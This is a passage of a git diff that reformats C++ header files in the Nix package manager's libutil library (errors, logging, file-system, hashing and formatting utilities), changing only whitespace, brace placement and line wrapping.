std::ostream & output, - unsigned int count, - const std::string_view single, - const std::string_view plural); +std::ostream & +pluralize(std::ostream & output, unsigned int count, const std::string_view single, const std::string_view plural); } diff --git a/src/libutil/include/nix/util/error.hh b/src/libutil/include/nix/util/error.hh index fa60d4c61..f5a620aaf 100644 --- a/src/libutil/include/nix/util/error.hh +++ b/src/libutil/include/nix/util/error.hh @@ -29,22 +29,13 @@ namespace nix { - -typedef enum { - lvlError = 0, - lvlWarn, - lvlNotice, - lvlInfo, - lvlTalkative, - lvlChatty, - lvlDebug, - lvlVomit -} Verbosity; +typedef enum { lvlError = 0, lvlWarn, lvlNotice, lvlInfo, lvlTalkative, lvlChatty, lvlDebug, lvlVomit } Verbosity; /** * The lines of code surrounding an error. */ -struct LinesOfCode { +struct LinesOfCode +{ std::optional prevLineOfCode; std::optional errLineOfCode; std::optional nextLineOfCode; @@ -60,10 +51,7 @@ struct LinesOfCode { 4feb7d9f71? */ struct Pos; -void printCodeLines(std::ostream & out, - const std::string & prefix, - const Pos & errPos, - const LinesOfCode & loc); +void printCodeLines(std::ostream & out, const std::string & prefix, const Pos & errPos, const LinesOfCode & loc); /** * When a stack frame is printed. @@ -77,15 +65,17 @@ enum struct TracePrint { Always, }; -struct Trace { +struct Trace +{ std::shared_ptr pos; HintFmt hint; TracePrint print = TracePrint::Default; }; -inline std::strong_ordering operator<=>(const Trace& lhs, const Trace& rhs); +inline std::strong_ordering operator<=>(const Trace & lhs, const Trace & rhs); -struct ErrorInfo { +struct ErrorInfo +{ Verbosity level; HintFmt msg; std::shared_ptr pos; @@ -128,51 +118,69 @@ protected: public: BaseError(const BaseError &) = default; - BaseError& operator=(const BaseError &) = default; - BaseError& operator=(BaseError &&) = default; + BaseError & operator=(const BaseError &) = default; + BaseError & operator=(BaseError &&) = default; template - BaseError(unsigned int status, const Args & ... args) - : err { .level = lvlError, .msg = HintFmt(args...), .status = status } - { } + BaseError(unsigned int status, const Args &... args) + : err{.level = lvlError, .msg = HintFmt(args...), .status = status} + { + } template - explicit BaseError(const std::string & fs, const Args & ... args) - : err { .level = lvlError, .msg = HintFmt(fs, args...) } - { } + explicit BaseError(const std::string & fs, const Args &... args) + : err{.level = lvlError, .msg = HintFmt(fs, args...)} + { + } template - BaseError(const Suggestions & sug, const Args & ... args) - : err { .level = lvlError, .msg = HintFmt(args...), .suggestions = sug } - { } + BaseError(const Suggestions & sug, const Args &... args) + : err{.level = lvlError, .msg = HintFmt(args...), .suggestions = sug} + { + } BaseError(HintFmt hint) - : err { .level = lvlError, .msg = hint } - { } + : err{.level = lvlError, .msg = hint} + { + } BaseError(ErrorInfo && e) : err(std::move(e)) - { } + { + } BaseError(const ErrorInfo & e) : err(e) - { } + { + } /** The error message without "error: " prefixed to it. */ - std::string message() { + std::string message() + { return err.msg.str(); } - const char * what() const noexcept override { return calcWhat().c_str(); } - const std::string & msg() const { return calcWhat(); } - const ErrorInfo & info() const { calcWhat(); return err; } + const char * what() const noexcept override + { + return calcWhat().c_str(); + } + const std::string & msg() const + { + return calcWhat(); + } + const ErrorInfo & info() const + { + calcWhat(); + return err; + } void withExitStatus(unsigned int status) { err.status = status; } - void atPos(std::shared_ptr pos) { + void atPos(std::shared_ptr pos) + { err.pos = pos; } @@ -182,23 +190,29 @@ public: } template - void addTrace(std::shared_ptr && e, std::string_view fs, const Args & ... args) + void addTrace(std::shared_ptr && e, std::string_view fs, const Args &... args) { addTrace(std::move(e), HintFmt(std::string(fs), args...)); } void addTrace(std::shared_ptr && e, HintFmt hint, TracePrint print = TracePrint::Default); - bool hasTrace() const { return !err.traces.empty(); } + bool hasTrace() const + { + return !err.traces.empty(); + } - const ErrorInfo & info() { return err; }; + const ErrorInfo & info() + { + return err; + }; }; #define MakeError(newClass, superClass) \ - class newClass : public superClass \ - { \ - public: \ - using superClass::superClass; \ + class newClass : public superClass \ + { \ + public: \ + using superClass::superClass; \ } MakeError(Error, BaseError); @@ -236,8 +250,9 @@ public: * will be used to try to add additional information to the message. */ template - SysError(int errNo, const Args & ... args) - : SystemError(""), errNo(errNo) + SysError(int errNo, const Args &... args) + : SystemError("") + , errNo(errNo) { auto hf = HintFmt(args...); err.msg = HintFmt("%1%: %2%", Uncolored(hf.str()), strerror(errNo)); @@ -250,15 +265,15 @@ public: * calling this constructor! */ template - SysError(const Args & ... args) - : SysError(errno, args ...) + SysError(const Args &... args) + : SysError(errno, args...) { } }; #ifdef _WIN32 namespace windows { - class WinError; +class WinError; } #endif diff --git a/src/libutil/include/nix/util/exit.hh b/src/libutil/include/nix/util/exit.hh index 55f33e62f..837e4436e 100644 --- a/src/libutil/include/nix/util/exit.hh +++ b/src/libutil/include/nix/util/exit.hh @@ -11,8 +11,14 @@ class Exit : public std::exception { public: int status; - Exit() : status(0) { } - explicit Exit(int status) : status(status) { } + Exit() + : status(0) + { + } + explicit Exit(int status) + : status(status) + { + } virtual ~Exit(); }; diff --git a/src/libutil/include/nix/util/experimental-features.hh b/src/libutil/include/nix/util/experimental-features.hh index 06dd7062b..92a9a8078 100644 --- a/src/libutil/include/nix/util/experimental-features.hh +++ b/src/libutil/include/nix/util/experimental-features.hh @@ -15,8 +15,7 @@ namespace nix { * their string representation and documentation in the corresponding * `.cc` file as well. */ -enum struct ExperimentalFeature -{ +enum struct ExperimentalFeature { CaDerivations, ImpureDerivations, Flakes, @@ -49,8 +48,7 @@ using Xp = ExperimentalFeature; * Parse an experimental feature (enum value) from its name. Experimental * feature flag names are hyphenated and do not contain spaces. */ -const std::optional parseExperimentalFeature( - const std::string_view & name); +const std::optional parseExperimentalFeature(const std::string_view & name); /** * Show the name of an experimental feature. This is the opposite of @@ -68,9 +66,7 @@ nlohmann::json documentExperimentalFeatures(); /** * Shorthand for `str << showExperimentalFeature(feature)`. */ -std::ostream & operator<<( - std::ostream & str, - const ExperimentalFeature & feature); +std::ostream & operator<<(std::ostream & str, const ExperimentalFeature & feature); /** * Parse a set of strings to the corresponding set of experimental diff --git a/src/libutil/include/nix/util/file-content-address.hh b/src/libutil/include/nix/util/file-content-address.hh index 0922604f8..c71cd6952 100644 --- a/src/libutil/include/nix/util/file-content-address.hh +++ b/src/libutil/include/nix/util/file-content-address.hh @@ -57,22 +57,14 @@ std::string_view renderFileSerialisationMethod(FileSerialisationMethod method); * Dump a serialization of the given file system object. */ void dumpPath( - const SourcePath & path, - Sink & sink, - FileSerialisationMethod method, - PathFilter & filter = defaultPathFilter); + const SourcePath & path, Sink & sink, FileSerialisationMethod method, PathFilter & filter = defaultPathFilter); /** * Restore a serialisation of the given file system object. * * \todo use an arbitrary `FileSystemObjectSink`. */ -void restorePath( - const Path & path, - Source & source, - FileSerialisationMethod method, - bool startFsync = false); - +void restorePath(const Path & path, Source & source, FileSerialisationMethod method, bool startFsync = false); /** * Compute the hash of the given file system object according to the @@ -85,9 +77,7 @@ void restorePath( * ``` */ HashResult hashPath( - const SourcePath & path, - FileSerialisationMethod method, HashAlgorithm ha, - PathFilter & filter = defaultPathFilter); + const SourcePath & path, FileSerialisationMethod method, HashAlgorithm ha, PathFilter & filter = defaultPathFilter); /** * An enumeration of the ways we can ingest file system @@ -153,8 +143,6 @@ std::string_view renderFileIngestionMethod(FileIngestionMethod method); * useful defined for a merkle format. */ std::pair> hashPath( - const SourcePath & path, - FileIngestionMethod method, HashAlgorithm ha, - PathFilter & filter = defaultPathFilter); + const SourcePath & path, FileIngestionMethod method, HashAlgorithm ha, PathFilter & filter = defaultPathFilter); } diff --git a/src/libutil/include/nix/util/file-descriptor.hh b/src/libutil/include/nix/util/file-descriptor.hh index 4f13a9a8f..d3c1aa16f 100644 --- a/src/libutil/include/nix/util/file-descriptor.hh +++ b/src/libutil/include/nix/util/file-descriptor.hh @@ -5,8 +5,8 @@ #include "nix/util/error.hh" #ifdef _WIN32 -# define WIN32_LEAN_AND_MEAN -# include +# define WIN32_LEAN_AND_MEAN +# include #endif namespace nix { @@ -93,18 +93,19 @@ void writeLine(Descriptor fd, std::string s); /** * Read a file descriptor until EOF occurs. */ -std::string drainFD(Descriptor fd, bool block = true, const size_t reserveSize=0); +std::string drainFD(Descriptor fd, bool block = true, const size_t reserveSize = 0); /** * The Windows version is always blocking. */ void drainFD( - Descriptor fd - , Sink & sink + Descriptor fd, + Sink & sink #ifndef _WIN32 - , bool block = true + , + bool block = true #endif - ); +); /** * Get [Standard Input](https://en.wikipedia.org/wiki/Standard_streams#Standard_input_(stdin)) @@ -155,10 +156,10 @@ public: AutoCloseFD(); AutoCloseFD(Descriptor fd); AutoCloseFD(const AutoCloseFD & fd) = delete; - AutoCloseFD(AutoCloseFD&& fd) noexcept; + AutoCloseFD(AutoCloseFD && fd) noexcept; ~AutoCloseFD(); - AutoCloseFD& operator =(const AutoCloseFD & fd) = delete; - AutoCloseFD& operator =(AutoCloseFD&& fd); + AutoCloseFD & operator=(const AutoCloseFD & fd) = delete; + AutoCloseFD & operator=(AutoCloseFD && fd); Descriptor get() const; explicit operator bool() const; Descriptor release(); diff --git a/src/libutil/include/nix/util/file-path-impl.hh b/src/libutil/include/nix/util/file-path-impl.hh index d7c823fd0..9ee283119 100644 --- a/src/libutil/include/nix/util/file-path-impl.hh +++ b/src/libutil/include/nix/util/file-path-impl.hh @@ -42,7 +42,6 @@ struct UnixPathTrait } }; - /** * Windows-style path primitives. * @@ -75,22 +74,17 @@ struct WindowsPathTrait { size_t p1 = path.find('/', from); size_t p2 = path.find(preferredSep, from); - return p1 == String::npos ? p2 : - p2 == String::npos ? p1 : - std::min(p1, p2); + return p1 == String::npos ? p2 : p2 == String::npos ? p1 : std::min(p1, p2); } static size_t rfindPathSep(StringView path, size_t from = String::npos) { size_t p1 = path.rfind('/', from); size_t p2 = path.rfind(preferredSep, from); - return p1 == String::npos ? p2 : - p2 == String::npos ? p1 : - std::max(p1, p2); + return p1 == String::npos ? p2 : p2 == String::npos ? p1 : std::max(p1, p2); } }; - template using OsPathTrait = #ifdef _WIN32 @@ -100,7 +94,6 @@ using OsPathTrait = #endif ; - /** * Core pure path canonicalization algorithm. * @@ -116,9 +109,7 @@ using OsPathTrait = * "result" points to a symlink. */ template -typename PathDict::String canonPathInner( - typename PathDict::StringView remaining, - auto && hookComponent) +typename PathDict::String canonPathInner(typename PathDict::StringView remaining, auto && hookComponent) { assert(remaining != ""); @@ -131,7 +122,8 @@ typename PathDict::String canonPathInner( while (!remaining.empty() && PathDict::isPathSep(remaining[0])) remaining.remove_prefix(1); - if (remaining.empty()) break; + if (remaining.empty()) + break; auto nextComp = ({ auto nextPathSep = PathDict::findPathSep(remaining); @@ -143,9 +135,9 @@ typename PathDict::String canonPathInner( remaining.remove_prefix(1); /* If `..', delete the last component. */ - else if (nextComp == "..") - { - if (!result.empty()) result.erase(PathDict::rfindPathSep(result)); + else if (nextComp == "..") { + if (!result.empty()) + result.erase(PathDict::rfindPathSep(result)); remaining.remove_prefix(2); } @@ -165,7 +157,7 @@ typename PathDict::String canonPathInner( } if (result.empty()) - result = typename PathDict::String { PathDict::preferredSep }; + result = typename PathDict::String{PathDict::preferredSep}; return result; } diff --git a/src/libutil/include/nix/util/file-path.hh b/src/libutil/include/nix/util/file-path.hh index deff076f1..d7789dd68 100644 --- a/src/libutil/include/nix/util/file-path.hh +++ b/src/libutil/include/nix/util/file-path.hh @@ -30,14 +30,22 @@ struct PathViewNG : OsStringView PathViewNG(const std::filesystem::path & path) : OsStringView{path.native()} - { } + { + } PathViewNG(const OsString & path) : OsStringView{path} - { } + { + } - const string_view & native() const { return *this; } - string_view & native() { return *this; } + const string_view & native() const + { + return *this; + } + string_view & native() + { + return *this; + } }; std::optional maybePath(PathView path); diff --git a/src/libutil/include/nix/util/file-system.hh b/src/libutil/include/nix/util/file-system.hh index 5c2416750..9eddf876b 100644 --- a/src/libutil/include/nix/util/file-system.hh +++ b/src/libutil/include/nix/util/file-system.hh @@ -16,7 +16,7 @@ #include #include #ifdef _WIN32 -# include +# include #endif #include @@ -34,7 +34,7 @@ * @todo get rid of this, and stop using `stat` when we want `lstat` too. */ #ifndef S_ISLNK -# define S_ISLNK(m) false +# define S_ISLNK(m) false #endif namespace nix { @@ -54,19 +54,14 @@ bool isAbsolute(PathView path); * * In the process of being deprecated for `std::filesystem::absolute`. */ -Path absPath(PathView path, - std::optional dir = {}, - bool resolveSymlinks = false); +Path absPath(PathView path, std::optional dir = {}, bool resolveSymlinks = false); -inline Path absPath(const Path & path, - std::optional dir = {}, - bool resolveSymlinks = false) +inline Path absPath(const Path & path, std::optional dir = {}, bool resolveSymlinks = false) { return absPath(PathView{path}, dir, resolveSymlinks); } -std::filesystem::path absPath(const std::filesystem::path & path, - bool resolveSymlinks = false); +std::filesystem::path absPath(const std::filesystem::path & path, bool resolveSymlinks = false); /** * Canonicalise a path by removing all `.` or `..` components and @@ -197,7 +192,8 @@ void readFile(const Path & path, Sink & sink); * Write a string to a file. */ void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false); -static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, bool sync = false) +static inline void +writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, bool sync = false) { return writeFile(path.string(), s, mode, sync); } @@ -313,29 +309,44 @@ public: void reset(const std::filesystem::path & p, bool recursive = true); - const std::filesystem::path & path() const { return _path; } - PathViewNG view() const { return _path; } + const std::filesystem::path & path() const + { + return _path; + } + PathViewNG view() const + { + return _path; + } - operator const std::filesystem::path & () const { return _path; } - operator PathViewNG () const { return _path; } + operator const std::filesystem::path &() const + { + return _path; + } + operator PathViewNG() const + { + return _path; + } }; - struct DIRDeleter { - void operator()(DIR * dir) const { + void operator()(DIR * dir) const + { closedir(dir); } }; typedef std::unique_ptr AutoCloseDir; - /** * Create a temporary directory. */ -Path createTempDir(const Path & tmpRoot = "", const Path & prefix = "nix", - bool includePid = true, bool useGlobalCounter = true, mode_t mode = 0755); +Path createTempDir( + const Path & tmpRoot = "", + const Path & prefix = "nix", + bool includePid = true, + bool useGlobalCounter = true, + mode_t mode = 0755); /** * Create a temporary file, returning a file handle and its path. diff --git a/src/libutil/include/nix/util/finally.hh b/src/libutil/include/nix/util/finally.hh index 2b25010a1..589c1209f 100644 --- a/src/libutil/include/nix/util/finally.hh +++ b/src/libutil/include/nix/util/finally.hh @@ -16,10 +16,13 @@ private: bool movedFrom = false; public: - Finally(Fn fun) : fun(std::move(fun)) { } + Finally(Fn fun) + : fun(std::move(fun)) + { + } // Copying Finallys is definitely not a good idea and will cause them to be // called twice. - Finally(Finally &other) = delete; + Finally(Finally & other) = delete; // NOTE: Move constructor can be nothrow if the callable type is itself nothrow // move-constructible. Finally(Finally && other) noexcept(std::is_nothrow_move_constructible_v) diff --git a/src/libutil/include/nix/util/fmt.hh b/src/libutil/include/nix/util/fmt.hh index 5435a4ebf..c89b2551b 100644 --- a/src/libutil/include/nix/util/fmt.hh +++ b/src/libutil/include/nix/util/fmt.hh @@ -5,7 +5,6 @@ #include #include "nix/util/ansicolor.hh" - namespace nix { /** @@ -22,10 +21,11 @@ namespace nix { */ template inline void formatHelper(F & f) -{ } +{ +} template -inline void formatHelper(F & f, const T & x, const Args & ... args) +inline void formatHelper(F & f, const T & x, const Args &... args) { // Interpolate one argument and then recurse. formatHelper(f % x, args...); @@ -36,10 +36,7 @@ inline void formatHelper(F & f, const T & x, const Args & ... args) */ inline void setExceptions(boost::format & fmt) { - fmt.exceptions( - boost::io::all_error_bits ^ - boost::io::too_many_args_bit ^ - boost::io::too_few_args_bit); + fmt.exceptions(boost::io::all_error_bits ^ boost::io::too_many_args_bit ^ boost::io::too_few_args_bit); } /** @@ -80,7 +77,7 @@ inline std::string fmt(const char * s) } template -inline std::string fmt(const std::string & fs, const Args & ... args) +inline std::string fmt(const std::string & fs, const Args &... args) { boost::format f(fs); setExceptions(f); @@ -95,14 +92,17 @@ inline std::string fmt(const std::string & fs, const Args & ... args) * either wrap the argument in `Uncolored` or add a specialization of * `HintFmt::operator%`. */ -template +template struct Magenta { - Magenta(const T &s) : value(s) {} + Magenta(const T & s) + : value(s) + { + } const T & value; }; -template +template std::ostream & operator<<(std::ostream & out, const Magenta & y) { return out << ANSI_WARNING << y.value << ANSI_NORMAL; @@ -115,14 +115,17 @@ std::ostream & operator<<(std::ostream & out, const Magenta & y) * * By default, arguments to `HintFmt` are printed in magenta (see `Magenta`). */ -template +template struct Uncolored { - Uncolored(const T & s) : value(s) {} + Uncolored(const T & s) + : value(s) + { + } const T & value; }; -template +template std::ostream & operator<<(std::ostream & out, const Uncolored & y) { return out << ANSI_NORMAL << y.value; @@ -144,9 +147,11 @@ public: */ HintFmt(const std::string & literal) : HintFmt("%s", Uncolored(literal)) - { } + { + } - static HintFmt fromFormatString(const std::string & format) { + static HintFmt fromFormatString(const std::string & format) + { return HintFmt(boost::format(format)); } @@ -154,16 +159,18 @@ public: * Interpolate the given arguments into the format string. */ template - HintFmt(const std::string & format, const Args & ... args) + HintFmt(const std::string & format, const Args &... args) : HintFmt(boost::format(format), args...) - { } + { + } HintFmt(const HintFmt & hf) : fmt(hf.fmt) - { } + { + } template - HintFmt(boost::format && fmt, const Args & ... args) + HintFmt(boost::format && fmt, const Args &... args) : fmt(std::move(fmt)) { setExceptions(fmt); diff --git a/src/libutil/include/nix/util/fs-sink.hh b/src/libutil/include/nix/util/fs-sink.hh index 1c34fba93..4e5c5e434 100644 --- a/src/libutil/include/nix/util/fs-sink.hh +++ b/src/libutil/include/nix/util/fs-sink.hh @@ -19,10 +19,9 @@ struct CreateRegularFileSink : Sink /** * An optimization. By default, do nothing. */ - virtual void preallocateContents(uint64_t size) { }; + virtual void preallocateContents(uint64_t size) {}; }; - struct FileSystemObjectSink { virtual ~FileSystemObjectSink() = default; @@ -33,9 +32,7 @@ struct FileSystemObjectSink * This function in general is no re-entrant. Only one file can be * written at a time. */ - virtual void createRegularFile( - const CanonPath & path, - std::function) = 0; + virtual void createRegularFile(const CanonPath & path, std::function) = 0; virtual void createSymlink(const CanonPath & path, const std::string & target) = 0; }; @@ -57,19 +54,16 @@ struct ExtendedFileSystemObjectSink : virtual FileSystemObjectSink * Recursively copy file system objects from the source into the sink. */ void copyRecursive( - SourceAccessor & accessor, const CanonPath & sourcePath, - FileSystemObjectSink & sink, const CanonPath & destPath); + SourceAccessor & accessor, const CanonPath & sourcePath, FileSystemObjectSink & sink, const CanonPath & destPath); /** * Ignore everything and do nothing */ struct NullFileSystemObjectSink : FileSystemObjectSink { - void createDirectory(const CanonPath & path) override { } - void createSymlink(const CanonPath & path, const std::string & target) override { } - void createRegularFile( - const CanonPath & path, - std::function) override; + void createDirectory(const CanonPath & path) override {} + void createSymlink(const CanonPath & path, const std::string & target) override {} + void createRegularFile(const CanonPath & path, std::function) override; }; /** @@ -82,13 +76,12 @@ struct RestoreSink : FileSystemObjectSink explicit RestoreSink(bool startFsync) : startFsync{startFsync} - { } + { + } void createDirectory(const CanonPath & path) override; - void createRegularFile( - const CanonPath & path, - std::function) override; + void createRegularFile(const CanonPath & path, std::function) override; void createSymlink(const CanonPath & path, const std::string & target) override; }; @@ -103,7 +96,10 @@ struct RegularFileSink : FileSystemObjectSink bool regular = true; Sink & sink; - RegularFileSink(Sink & sink) : sink(sink) { } + RegularFileSink(Sink & sink) + : sink(sink) + { + } void createDirectory(const CanonPath & path) override { @@ -115,9 +111,7 @@ struct RegularFileSink : FileSystemObjectSink regular = false; } - void createRegularFile( - const CanonPath & path, - std::function) override; + void createRegularFile(const CanonPath & path, std::function) override; }; } diff --git a/src/libutil/include/nix/util/git.hh b/src/libutil/include/nix/util/git.hh index 9bdb30bb9..334bc78dc 100644 --- a/src/libutil/include/nix/util/git.hh +++ b/src/libutil/include/nix/util/git.hh @@ -16,8 +16,8 @@ namespace nix::git { enum struct ObjectType { Blob, Tree, - //Commit, - //Tag, + // Commit, + // Tag, }; using RawMode = uint32_t; @@ -39,8 +39,8 @@ struct TreeEntry Mode mode; Hash hash; - bool operator ==(const TreeEntry &) const = default; - auto operator <=>(const TreeEntry &) const = default; + bool operator==(const TreeEntry &) const = default; + auto operator<=>(const TreeEntry &) const = default; }; /** @@ -72,9 +72,8 @@ using SinkHook = void(const CanonPath & name, TreeEntry entry); * * @throws if prefix not recognized */ -ObjectType parseObjectType( - Source & source, - const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); +ObjectType +parseObjectType(Source & source, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); /** * These 3 modes are represented by blob objects. @@ -82,21 +81,22 @@ ObjectType parseObjectType( * Sometimes we need this information to disambiguate how a blob is * being used to better match our own "file system object" data model. */ -enum struct BlobMode : RawMode -{ +enum struct BlobMode : RawMode { Regular = static_cast(Mode::Regular), Executable = static_cast(Mode::Executable), Symlink = static_cast(Mode::Symlink), }; void parseBlob( - FileSystemObjectSink & sink, const CanonPath & sinkPath, + FileSystemObjectSink & sink, + const CanonPath & sinkPath, Source & source, BlobMode blobMode, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); void parseTree( - FileSystemObjectSink & sink, const CanonPath & sinkPath, + FileSystemObjectSink & sink, + const CanonPath & sinkPath, Source & source, std::function hook, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); @@ -109,7 +109,8 @@ void parseTree( * a blob, this is ignored. */ void parse( - FileSystemObjectSink & sink, const CanonPath & sinkPath, + FileSystemObjectSink & sink, + const CanonPath & sinkPath, Source & source, BlobMode rootModeIfBlob, std::function hook, @@ -139,15 +140,13 @@ void restore(FileSystemObjectSink & sink, Source & source, std::function reference; diff --git a/src/libutil/include/nix/util/hash.hh b/src/libutil/include/nix/util/hash.hh index f3cc4cc6c..347ef1324 100644 --- a/src/libutil/include/nix/util/hash.hh +++ b/src/libutil/include/nix/util/hash.hh @@ -8,10 +8,8 @@ namespace nix { - MakeError(BadHash, Error); - enum struct HashAlgorithm : char { MD5 = 42, SHA1, SHA256, SHA512, BLAKE3 }; const int blake3HashSize = 32; @@ -89,12 +87,12 @@ public: /** * Check whether two hashes are equal. */ - bool operator == (const Hash & h2) const noexcept; + bool operator==(const Hash & h2) const noexcept; /** * Compare how two hashes are ordered. */ - std::strong_ordering operator <=> (const Hash & h2) const noexcept; + std::strong_ordering operator<=>(const Hash & h2) const noexcept; /** * Returns the length of a base-16 representation of this hash. @@ -158,7 +156,8 @@ std::string printHash16or32(const Hash & hash); /** * Compute the hash of the given string. */ -Hash hashString(HashAlgorithm ha, std::string_view s, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); +Hash hashString( + HashAlgorithm ha, std::string_view s, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); /** * Compute the hash of the given file, hashing its contents directly. @@ -210,7 +209,6 @@ std::optional parseHashAlgoOpt(std::string_view s); */ std::string_view printHashAlgo(HashAlgorithm ha); - union Ctx; struct AbstractHashSink : virtual Sink @@ -234,5 +232,4 @@ public: HashResult currentHash(); }; - } diff --git a/src/libutil/include/nix/util/hilite.hh b/src/libutil/include/nix/util/hilite.hh index 2d5cf7c6f..45b8bd89d 100644 --- a/src/libutil/include/nix/util/hilite.hh +++ b/src/libutil/include/nix/util/hilite.hh @@ -14,10 +14,7 @@ namespace nix { * If some matches overlap, then their union will be wrapped rather * than the individual matches. */ -std::string hiliteMatches( - std::string_view s, - std::vector matches, - std::string_view prefix, - std::string_view postfix); +std::string +hiliteMatches(std::string_view s, std::vector matches, std::string_view prefix, std::string_view postfix); } diff --git a/src/libutil/include/nix/util/json-impls.hh b/src/libutil/include/nix/util/json-impls.hh index 9dd344c50..8a6198313 100644 --- a/src/libutil/include/nix/util/json-impls.hh +++ b/src/libutil/include/nix/util/json-impls.hh @@ -4,12 +4,13 @@ #include // Following https://github.com/nlohmann/json#how-can-i-use-get-for-non-default-constructiblenon-copyable-types -#define JSON_IMPL(TYPE) \ - namespace nlohmann { \ - using namespace nix; \ - template <> \ - struct adl_serializer { \ - static TYPE from_json(const json & json); \ - static void to_json(json & json, TYPE t); \ - }; \ +#define JSON_IMPL(TYPE) \ + namespace nlohmann { \ + using namespace nix; \ + template<> \ + struct adl_serializer \ + { \ + static TYPE from_json(const json & json); \ + static void to_json(json & json, TYPE t); \ + }; \ } diff --git a/src/libutil/include/nix/util/json-utils.hh b/src/libutil/include/nix/util/json-utils.hh index 9308d4392..88b04def9 100644 --- a/src/libutil/include/nix/util/json-utils.hh +++ b/src/libutil/include/nix/util/json-utils.hh @@ -20,9 +20,7 @@ nlohmann::json * get(nlohmann::json & map, const std::string & key); * * Use instead of nlohmann::json::at() to avoid ugly exceptions. */ -const nlohmann::json & valueAt( - const nlohmann::json::object_t & map, - const std::string & key); +const nlohmann::json & valueAt(const nlohmann::json::object_t & map, const std::string & key); std::optional optionalValueAt(const nlohmann::json::object_t & value, const std::string & key); std::optional nullableValueAt(const nlohmann::json::object_t & value, const std::string & key); @@ -53,34 +51,43 @@ struct json_avoids_null; * Handle numbers in default impl */ template -struct json_avoids_null : std::bool_constant::value> {}; +struct json_avoids_null : std::bool_constant::value> +{}; template<> -struct json_avoids_null : std::false_type {}; +struct json_avoids_null : std::false_type +{}; template<> -struct json_avoids_null : std::true_type {}; +struct json_avoids_null : std::true_type +{}; template<> -struct json_avoids_null : std::true_type {}; +struct json_avoids_null : std::true_type +{}; template -struct json_avoids_null> : std::true_type {}; +struct json_avoids_null> : std::true_type +{}; template -struct json_avoids_null> : std::true_type {}; +struct json_avoids_null> : std::true_type +{}; template -struct json_avoids_null> : std::true_type {}; +struct json_avoids_null> : std::true_type +{}; template -struct json_avoids_null> : std::true_type {}; +struct json_avoids_null> : std::true_type +{}; /** * `ExperimentalFeature` is always rendered as a string. */ template<> -struct json_avoids_null : std::true_type {}; +struct json_avoids_null : std::true_type +{}; } @@ -103,12 +110,8 @@ struct adl_serializer> */ static void from_json(const json & json, std::optional & t) { - static_assert( - nix::json_avoids_null::value, - "null is already in use for underlying type's JSON"); - t = json.is_null() - ? std::nullopt - : std::make_optional(json.template get()); + static_assert(nix::json_avoids_null::value, "null is already in use for underlying type's JSON"); + t = json.is_null() ? std::nullopt : std::make_optional(json.template get()); } /** @@ -117,9 +120,7 @@ struct adl_serializer> */ static void to_json(json & json, const std::optional & t) { - static_assert( - nix::json_avoids_null::value, - "null is already in use for underlying type's JSON"); + static_assert(nix::json_avoids_null::value, "null is already in use for underlying type's JSON"); if (t) json = *t; else diff --git a/src/libutil/include/nix/util/logging.hh b/src/libutil/include/nix/util/logging.hh index 9210229bf..ddc156bc0 100644 --- a/src/libutil/include/nix/util/logging.hh +++ b/src/libutil/include/nix/util/logging.hh @@ -44,7 +44,9 @@ typedef uint64_t ActivityId; struct LoggerSettings : Config { Setting showTrace{ - this, false, "show-trace", + this, + false, + "show-trace", R"( Whether Nix should print out a stack trace in case of Nix expression evaluation errors. @@ -65,21 +67,34 @@ public: enum { tInt = 0, tString = 1 } type; uint64_t i = 0; std::string s; - Field(const std::string & s) : type(tString), s(s) { } - Field(const char * s) : type(tString), s(s) { } - Field(const uint64_t & i) : type(tInt), i(i) { } + Field(const std::string & s) + : type(tString) + , s(s) + { + } + Field(const char * s) + : type(tString) + , s(s) + { + } + Field(const uint64_t & i) + : type(tInt) + , i(i) + { + } }; typedef std::vector Fields; - virtual ~Logger() { } + virtual ~Logger() {} - virtual void stop() { }; + virtual void stop() {}; /** * Guard object to resume the logger when done. */ - struct Suspension { + struct Suspension + { Finally> _finalize; }; @@ -87,11 +102,14 @@ public: std::optional suspendIf(bool cond); - virtual void pause() { }; - virtual void resume() { }; + virtual void pause() {}; + virtual void resume() {}; // Whether the logger prints the whole build log - virtual bool isVerbose() { return false; } + virtual bool isVerbose() + { + return false; + } virtual void log(Verbosity lvl, std::string_view s) = 0; @@ -110,26 +128,32 @@ public: virtual void warn(const std::string & msg); - virtual void startActivity(ActivityId act, Verbosity lvl, ActivityType type, - const std::string & s, const Fields & fields, ActivityId parent) { }; + virtual void startActivity( + ActivityId act, + Verbosity lvl, + ActivityType type, + const std::string & s, + const Fields & fields, + ActivityId parent) {}; - virtual void stopActivity(ActivityId act) { }; + virtual void stopActivity(ActivityId act) {}; - virtual void result(ActivityId act, ResultType type, const Fields & fields) { }; + virtual void result(ActivityId act, ResultType type, const Fields & fields) {}; virtual void writeToStdout(std::string_view s); template - inline void cout(const Args & ... args) + inline void cout(const Args &... args) { writeToStdout(fmt(args...)); } virtual std::optional ask(std::string_view s) - { return {}; } + { + return {}; + } - virtual void setPrintBuildLogs(bool printBuildLogs) - { } + virtual void setPrintBuildLogs(bool printBuildLogs) {} }; /** @@ -139,8 +163,10 @@ public: */ struct nop { - template nop(T...) - { } + template + nop(T...) + { + } }; ActivityId getCurActivity(); @@ -152,25 +178,34 @@ struct Activity const ActivityId id; - Activity(Logger & logger, Verbosity lvl, ActivityType type, const std::string & s = "", - const Logger::Fields & fields = {}, ActivityId parent = getCurActivity()); + Activity( + Logger & logger, + Verbosity lvl, + ActivityType type, + const std::string & s = "", + const Logger::Fields & fields = {}, + ActivityId parent = getCurActivity()); - Activity(Logger & logger, ActivityType type, - const Logger::Fields & fields = {}, ActivityId parent = getCurActivity()) - : Activity(logger, lvlError, type, "", fields, parent) { }; + Activity( + Logger & logger, ActivityType type, const Logger::Fields & fields = {}, ActivityId parent = getCurActivity()) + : Activity(logger, lvlError, type, "", fields, parent) {}; Activity(const Activity & act) = delete; ~Activity(); void progress(uint64_t done = 0, uint64_t expected = 0, uint64_t running = 0, uint64_t failed = 0) const - { result(resProgress, done, expected, running, failed); } + { + result(resProgress, done, expected, running, failed); + } void setExpected(ActivityType type2, uint64_t expected) const - { result(resSetExpected, type2, expected); } + { + result(resSetExpected, type2, expected); + } template - void 